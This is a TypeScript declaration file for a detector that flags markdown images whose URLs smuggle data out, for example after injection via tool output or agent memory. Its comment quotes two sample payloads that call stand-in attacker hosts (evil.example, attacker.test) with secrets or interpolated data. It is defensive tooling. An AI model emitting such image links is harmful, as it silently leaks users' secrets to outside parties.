/**
 * Markdown-Image Exfiltration Detector
 *
 * A classic tool-output / agent-memory exfiltration vector is a markdown image
 * whose URL silently smuggles data to an attacker the moment a client renders
 * it (no click required):
 *
 *   ![x](https://evil.example/log?d=<secrets>)
 *   ![](http://attacker.test/${data})
 *
 * This detector flags markdown image syntax `![alt](URL)` where the URL is an
 * http(s) link that LOOKS like a data-exfiltration sink. It is deliberately
 * conservative — a plain `![logo](https://example.com/logo.png)` must NOT trip
 * it — so a URL only flags when one of these holds:
 *
 *   1. it carries a query string whose value(s) look like smuggled data:
 *      long (>= EXFIL_VALUE_MIN_LEN chars) and/or base64-ish/percent-encoded; OR
 *   2. it contains an unresolved template placeholder (`${...}` / `{{...}}`),
 *      which only appears when an injection is trying to interpolate captured
 *      data into the URL.
 *
 * Pure presence of a query string is NOT enough (analytics/CDN links routinely
 * have `?v=2&w=400`); the value has to look like a payload. This keeps the false
 * positive rate low while catching the real exfil shape.
 */
export interface MarkdownImageExfilResult {
    detected: boolean;
    /** The offending image URLs (capped), for reporting. */
    urls: string[];
}
/**
 * Scan content for markdown-image exfiltration links.
 */
export declare function detectMarkdownImageExfil(content: string): MarkdownImageExfilResult;
